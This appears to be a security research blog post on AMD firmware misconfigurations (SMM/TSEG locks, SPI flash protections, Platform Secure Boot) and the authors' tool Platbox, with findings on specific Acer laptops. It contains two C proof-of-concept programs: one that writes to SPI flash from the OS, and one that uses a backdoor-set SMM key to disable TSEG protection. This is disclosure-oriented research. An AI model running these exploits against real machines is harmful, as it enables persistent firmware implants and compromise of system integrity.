by Enrique Nissim, Krzysztof Okupski and Joseph Tartaro
Introduction
During our recent talk at HardwearIO (see here, slides here) we described a variety of AMD platform misconfigurations that could lead to critical vulnerabilities, such as:
- TSEG misconfigurations breaking SMRAM protections
- SPI controller misconfigurations allowing SPI access from the OS
- Platform Secure Boot misconfigurations breaking the hardware root-of-trust
Here we are providing a brief overview of essential registers settings and explain how our internally developed tool Platbox (see here) can be used to verify them and ultimately exploit them.
SMM Protections
In a previous blog post about AMD platform security (see here) we explained how forgetting to set a single lock can lead to a complete compromise of System Management Mode (SMM).
To recap, on modern systems SMM lives in a protected memory region called TSEG and four Model Specific Registers (MSRs) need to be configured to guarantee these protections:
- 0xC0010111 (SMM_BASE; base of SMM code)
- 0xC0010112 (SMMAddr; defines TSEG base address)
- 0xC0010113 (SMMMask; defines TSEG limit and TSEG enable bit)
- 0xC0010015[SmmLock] (HWCR; defines lock of the aforementioned MSRs)
In the following we can see a breakdown of the aforementioned registers using Platbox on the Acer Swift 3 (model no. SF314-42; BIOS v1.10):
As marked in the output, the SMMLock bit in the Hardware Configuration Register (HWCR) hasn't been set and therefore the TSEG region protections can simply be disabled by a privileged OS attacker by disabling the TValid bit in the SMMMask MSR.
Additionally, to ensure that the SMM code lies within the protected TSEG region, one should also confirm that the SMM base address (stored in the SMM_BASE MSR) lies inside of TSEG. In most cases the EDK2 framework will ensure that this is the case. It is also interesting to notice that SMM_BASE is also locked when SMMLock is set, thus preventing relocation attacks.
One additional register that is relevant to the security of SMM is the SMM key register (stored in the SMM_KEY MSR at 0xC0010119; see p630 in [1]). This is a write-only MSR that can be set before SMMLock to create a password-protected mechanism to clear SMMLock later on.
As mentioned in our presentation, while we haven't found an OEM using this register, we used it as part of an exploit to demonstrate persistence in vulnerable platforms.
SPI Flash Protections
The SPI flash plays an important role in the context of platform security as it is used to store both the UEFI BIOS firmware code and configuration data (e.g. the Secure Boot state).
Architecturally, firmware code should only be modified at boot-time during firmware updates (via signed capsule updates) whereas portions of configuration data can be modified at run-time (in a controlled way via SMM).
To enforce this, the SPI controller-related protections need to be configured accordingly. In the following we will explain the relevant protection mechanisms, both the classic ones and the modern ones that will soon replace them.
Classic Protections
Two classic protection mechanisms exist, referred to as ROM protected ranges and SPI restricted commands, each responsible for preventing different types of accesses (see p445 in [2]).
First, ROM protected ranges apply to direct accesses via memory-mapped IO which, in turn, are automatically translated by the hardware into transactions on the SPI bus.
These ranges are configured via four write-once ROM protect registers (see p440 in [2]):
- D14F3x050 FCH::ITF::LPC::RomProtect0
- D14F3x054 FCH::ITF::LPC::RomProtect1
- D14F3x058 FCH::ITF::LPC::RomProtect2
- D14F3x05C FCH::ITF::LPC::RomProtect3
As we can see below, each of these registers defines the base address, the size and the access protection (read / write):
At the same time, it is important to enable and lock the ROM protected ranges with the AltSPICS register (see p450 in [2]):
- SPIx01D FCH::ITF::SPI::AltSPICS[SpiProtectEn0]
- SPIx01D FCH::ITF::SPI::AltSPICS[SpiProtectEn1]
- SPIx01D FCH::ITF::SPI::AltSPICS[SpiProtectLock]
However, we observed that although some systems don't configure these ranges, we haven't been able to perform writes to the SPI flash using this method neither from the OS nor from SMM.
Second, SPI restricted commands apply to indirect accesses via the SPI controller wherein SPI registers are programmed directly. As part of it, two restricted command registers are configured (see p447-448 in [2]):
- SPIx004 FCH::ITF::SPI::SPIRestrictedCmd
- SPIx008 FCH::ITF::SPI::SPIRestrictedCmd2
Each of these registers defines up to four SPI opcodes that are blocked. Again, we can see the breakdown below:
In this example we can see that SPI writes are blocked altogether by restricting the Write Enable (WREN) opcode that needs to be sent before every SPI write operation.
In practice, when SMM code needs to perform a SPI write transaction it will temporarily disable the restricted command registers, perform the write operation and then restore the restricted command registers again.
In case these protections are misconfigured, as we have observed on various systems, a privileged OS attacker can easily exploit this issue. In the following we see a simple proof-of-concept that will patch portions of the SPI flash (see here):
void proof_of_concept()
{
amd_retrieve_chipset_information();
// Read and print SPI flash portion
BYTE *mem = (BYTE *)calloc(1, 4096);
read_from_flash_index_mode(NULL, target_fla, 4096, mem);
print_memory(0xFD00000000 + target_fla, (char *)mem, 0x100);
// Patch SPI flash
UINT32 target_fla = 0x00000000;
const char msg[] = "Dude, there is a hole in my BIOS";
amd_spi_write_buffer(NULL, target_fla, (BYTE *)msg, strlen(msg));
// Read and print modified SPI flash portion
read_from_flash_index_mode(NULL, target_fla, 4096, mem);
print_memory(0xFD00000000 + target_fla, (char *)mem, 0x100);
free(mem);
}
In short, the code will first print the portion of the flash that is to be patched. It will then patch it, and finally print the modified flash portion again. The amd_spi_write_buffer() API automatically handles reading the affected SPI flash pages, patching them and writing them back.
Modern SPI Protections
On more modern systems we have observed that the aforementioned protection mechanisms are slowly being replaced by a newer technology referred to as ROM Armor.
In essence, ROM Armor is AMD's equivalent of Intel's Protected Range Registers (PRRs) and ensures that only whitelisted portions of the SPI flash can be modified at run-time (in a controlled fashion via SMM).
To determine which portions of the SPI flash are whitelisted, we developed a script that parses the PSP directory and extracts the whitelisted regions (see here):
Note that in this case we used an Acer TravelMate P4 (model no. TMP414-41-R854; BIOS v1.08) instead as this technology is only present in most recent systems.
Hardware Root-of-Trust Configurations
Platform Secure Boot (PSB) is AMD's implementation of a hardware root-of-trust and ensures that initial phases of the UEFI BIOS firmware haven't been tampered with and is the main line of defense against persistent firmware implants.
PSB is implemented using an embedded chip called the Platform Security Processor (PSP). In order for PSB to be enforced, the UEFI BIOS firmware needs to be built accordingly and the PSB related fuses in the PSP need to be configured.
We've found that two registers in particular can be leveraged to determine whether PSB has been enabled correctly:
- PSB Fuse Register (defines fuse configuration)
- PSB State Register (defines configuration state)
While the PSB fuse register can be used to determine whether PSB has been enabled and the fuses have been locked, the PSB state register indicates the status of the PSB configuration.
Herein we can see a more detailed breakdown of these registers:
As we can see, the Acer Swift 3 does not properly configure the PSB fuses and the PSB status indicates that an error has occurred.
The following video demonstrates how the ability to write to the SPI flash (via an SMI vulnerability or SPI controller misconfigurations), combined with the lack of PSB, results in a persistent firmware implant.
First, we attempt to read the TSEG region and see that it's not accessible as it returns FFs only. We therefore patch the firmware with our backdoor inside of it via a vulnerable SMI handler and reset the system:
Next, we attempt to read the TSEG region again and see that the result is the same. However, this time around after disabling the TSEG protections via the SMM_KEY that was configured by our backdoor, we are able to read it out:
Here is the proof-of-concept that leverages the SMM key configured by the backdoor, clears the SmmLock bit in the HWCR register and finally disables TSEG protections (see here):
#define MSR_SMM_KEY 0xC0010119#define MSR_SMM_KEY_VAL 0x494f414354495645int main(int argc, char **argv){open_platbox_device();// Fetching TSEG base address and sizeUINT64 tseg_base = 0;UINT32 tseg_size = 0;get_tseg_region(&tseg_base, &tseg_size);printf("TSEG Base: %08x\n", tseg_base);printf("TSEG End: %08x\n", tseg_base + tseg_size);// Reading start of TSEG regionprintf("\nReading TSEG region:\n");void *tseg_map = map_physical_memory(tseg_base, PAGE_SIZE);print_memory(tseg_base, (char *) tseg_map, 0x100);unmap_physical_memory(tseg_map, PAGE_SIZE);// Disabling TSEG protections using backdoorgetchar();printf("=> Setting SMM Key\n");do_write_msr(MSR_SMM_KEY, MSR_SMM_KEY_VAL);getchar();printf("=> Disabling TSEG protection\n");UINT64 tseg_mask = 0;do_read_msr(AMD_MSR_SMM_TSEG_MASK, &tseg_mask);do_write_msr(AMD_MSR_SMM_TSEG_MASK, tseg_mask & 0xFFFFFFFFFFFFFFFC);// Reading start of TSEG regiongetchar();printf("\nReading TSEG region:\n");tseg_map = map_physical_memory(tseg_base, PAGE_SIZE);print_memory(tseg_base, (char *) tseg_map, 0x100);unmap_physical_memory(tseg_map, PAGE_SIZE);close_platbox_device();return 0;}
SMM Supervisor OEM Policies
- Memory
- IO Register
- MSR
- Instruction
- SaveState
Resources
[1] AMD64 Architecture Programmer’s Manual, Volume 2: System Programming
[2] Processor Programming Reference (PPR) for AMD Family 17h Model 20h, Revision A1 Processors
No comments:
New comments are not allowed.